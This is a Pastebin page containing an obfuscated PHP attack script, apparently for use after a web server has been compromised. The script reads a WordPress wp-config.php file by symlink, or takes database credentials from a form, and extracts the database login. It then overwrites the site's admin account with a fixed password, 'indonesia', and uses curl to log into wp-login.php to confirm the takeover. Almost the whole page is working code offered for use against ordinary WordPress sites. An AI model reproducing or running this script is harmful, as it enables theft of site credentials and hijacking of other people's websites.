Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @set_time_limit(0);
- $IIIIIIIIIIIl = $_SERVER['SERVER_SOFTWARE'];
- $IIIIIIIIIII1 = getenv('HTTP_HOST');
- $IIIIIIIIIIlI = $_SERVER['REMOTE_ADDR'];
- $IIIIIIIIIIll = $_SERVER['SERVER_ADDR'];
- $IIIIIIIIIIl1 = phpversion();;
- echo'<head>
- <title>Wp Pass change :D</title>
- <style type="text/css">
- body
- {
- background:url(http://a3.sphotos.ak.fbcdn.net/hphotos-ak-ash3/558450_335227903234491_1621991407_n.jpg) no-repeat; background-size: 100%;
- background-attachment:fixed;
- FONT-SIZE: 9pt; COLOR: silver; FONT-FAMILY: tahoma;}
- input { background-color: transparent; font-size: 8pt; color: silver; font-family: tahoma; border: 1 solid #666666;}
- textarea { background-color: transparent; font-size: 8pt; color: silver; font-family: tahoma; border: 1 solid #666666;}
- button { background-color: #928C88; font-size: 8pt; color: silver; font-family: tahoma; border: 1 solid #666666;}
- #page-wrap {
- position: relative;
- z-index: 2;
- width: 600px;
- margin: 50px auto;
- padding: 20px;
- background: transparent;
- -moz-box-shadow: 0 0 20px black;
- -webkit-box-shadow: 0 0 20px black;
- box-shadow: 0 0 20px black; }
- p { font: 15px/2 Georgia, Serif;
- margin: 0 0 30px 0;
- text-indent: 40px; }
- td,th { font-family: verdana; color: #008000; font-size: 11px; }
- .fot{font-family:Tahoma, ; font-size: 8pt;}
- a:link {color:lime;
- text-decoration: underline;}
- a:visited {color:white;}
- a:active {color: silver;
- text-decoration: underline;}
- </style>
- </head>
- <div id="page-wrap">
- <body>
- <body bgcolor="#000000" >
- <center>
- <FORM action="" method="post">
- <div align="center">';
- echo "------------------------------------------------------------<br>
- <b>$IIIIIIIIIII1</b><br>
- [[ Os : $IIIIIIIIIIIl Versi : $IIIIIIIIIIl1 ]]
- <br>
- [[ Ip kamu : $IIIIIIIIIIlI || Ip server : $IIIIIIIIIIll ]]
- <br>
- ------------------------------------------------------------";
- echo'
- <br>
- <br>
- <input type="hidden" name="form_action" value="1">
- Symlink Config<br>
- <input type="text" size="80" name="file" value="/home/simaho/public_html/wp-config.php">
- <br>
- <INPUT class=submit type="submit" value="Ganti Pass" name="Submit">
- </div>
- </FORM>
- <br>
- <FORM action="" method="post">
- <div align="center">
- Db Config<br>
- <input type="hidden" name="form_action" value="2">
- </div>
- <table border=1 align="center">
- <tr><td><span class="Jembot">db_prefix </span></td>
- <td><input type="text" size="30" name="db_prefix" value="wp_"></td></tr>
- <tr><td><span class="Torok">db_username</span> </td>
- <td><input type="text" size="30" name="db_username" value=""></td></tr>
- <tr>
- <td><span class="Jembot">db_passwd</span>d</td>
- <td><input type="text" size="30" name="db_password" value=""></td></tr>
- <tr><td><span class="Torok">db_name</span></td>
- <td><input type="text" size="30" name="db_name" value=""></td></tr>
- </table>
- <INPUT class=submit type="submit" value="Ganti Pass" name="Submit">
- </div>
- </FORM>';
- echo '<center>';
- $IIIIIIIIII1l='http://www.helpbytes.co.uk/images/mess6/smileys/24.gif';
- $IIIIIIIIII11='http://www.abandonia.com/vbullet/images/smilies/generic/ok';
- $IIIIIIIIIlII='
- <br>
- <br>
- --------------------[[ http://www.facebook.com/DoNiE.IT ]]--------------------';
- if($_POST['form_action'] == 1 )
- {
- $IIIIIIIIIlIl=file_get_contents($_POST['file']);
- $IIIIIIIIIlI1=IIIIIIIIlI1I($IIIIIIIIIlIl,"define('DB_USER', '","');");
- $IIIIIIIIIllI=IIIIIIIIlI1I($IIIIIIIIIlIl,"define('DB_PASSWORD', '","');");
- $IIIIIIIIIlll=IIIIIIIIlI1I($IIIIIIIIIlIl,"define('DB_NAME', '","');");
- $IIIIIIIIIll1=IIIIIIIIlI1I($IIIIIIIIIlIl,"$IIIIIIIIIl1I = '","'");
- }
- if($_POST['form_action'] == 2 )
- {
- $IIIIIIIIIll1=($_POST['db_prefix']);
- $IIIIIIIIIlI1=($_POST['db_username']);
- $IIIIIIIIIllI=($_POST['db_password']);
- $IIIIIIIIIlll=($_POST['db_name']);
- }
- if ($_POST['form_action'])
- {
- $IIIIIIIIIl1l=mysql_connect('localhost',$IIIIIIIIIlI1,$IIIIIIIIIllI) ;
- if ($IIIIIIIIIl1l)
- {mysql_select_db($IIIIIIIIIlll,$IIIIIIIIIl1l) ;
- $IIIIIIIII1II =mysql_query('UPDATE `'.$IIIIIIIIIll1."users` SET `user_login` = 'admin',`user_pass` = 'cda2c99fbf5e19f20d331299c15a4491' WHERE `wp_users`.`ID` =1 LIMIT 1 ;");
- echo("<br>[[ Reset <font color='lime' size='2'>admin</font> password to <font color='lime' size='2'>indonesia</font> ]]");
- $IIIIIIIII1I1 =mysql_query('SELECT * from `'.$IIIIIIIIIll1."options` WHERE option_name='home'");
- $IIIIIIIII1lI = mysql_fetch_array($IIIIIIIII1I1);
- $IIIIIIIII1l1=$IIIIIIIII1lI['option_value'];
- echo('<br>');
- echo("<font color='white' size='2'>$IIIIIIIII1l1</font>");
- }
- $IIIIIIIII11I='Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)';
- $IIIIIIIII11l=$IIIIIIIII1l1.'/wp-login.php';
- $IIIIIIIII111 = curl_init();
- curl_setopt($IIIIIIIII111,CURLOPT_URL,$IIIIIIIII11l);
- curl_setopt($IIIIIIIII111,CURLOPT_POST,1);
- curl_setopt($IIIIIIIII111,CURLOPT_POSTFIELDS,'log=admin&pwd=indonesia&rememberme=forever&wp-submit=Log In&testcookie=1');
- curl_setopt($IIIIIIIII111,CURLOPT_FOLLOWLOCATION,1);
- curl_setopt($IIIIIIIII111,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($IIIIIIIII111,CURLOPT_HEADER,0);
- curl_setopt($IIIIIIIII111,CURLOPT_USERAGENT,$IIIIIIIII11I);
- curl_setopt($IIIIIIIII111,CURLOPT_COOKIEJAR,'COOKIE.txt');
- curl_setopt($IIIIIIIII111,CURLOPT_COOKIEFILE,'COOKIE.txt');
- $IIIIIIIIlII1 = curl_exec($IIIIIIIII111);
- $IIIIIIIIlIll = strpos($IIIIIIIIlII1,'admin');
- if($IIIIIIIIlIll === false) {
- echo("<br>
- <img src='$IIIIIIIIII1l'/>
- <br>
- <blink><font color='red' size='2'>Login Failed </font></blink>
- <br>
- Coba cek dimari gan
- <br><a href='$IIIIIIIII1l1/wp-admin/' target='_blank'>$IIIIIIIII1l1/wp-admin</a>
- <br>
- $IIIIIIIIIlII
- <br>");
- exit;
- }
- else {
- echo("<br>
- <img src='$IIIIIIIIII11'/>
- <br>
- <blink><font color='yellow' size='2'>Login Successful </font></blink>
- <br>
- Coba cek dimari gan<br>
- <a href='$IIIIIIIII1l1/wp-admin/' target='_blank'>$IIIIIIIII1l1/wp-admin</a>
- <br>
- $IIIIIIIIIlII
- <br>");
- }
- }
- function IIIIIIIIlI1I($IIIIIIIIIlIl,$IIIIIIIIlI1l,$IIIIIIIIlI11)
- {
- $IIIIIIIIllII=explode($IIIIIIIIlI1l,$IIIIIIIIIlIl);
- $IIIIIIIIllI1=explode($IIIIIIIIlI11,$IIIIIIIIllII[1]);
- $IIIIIIIIlllI=trim($IIIIIIIIllI1[0]);
- return $IIIIIIIIlllI;
- }
- echo '
- </center>';
- ;echo '
- '; ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement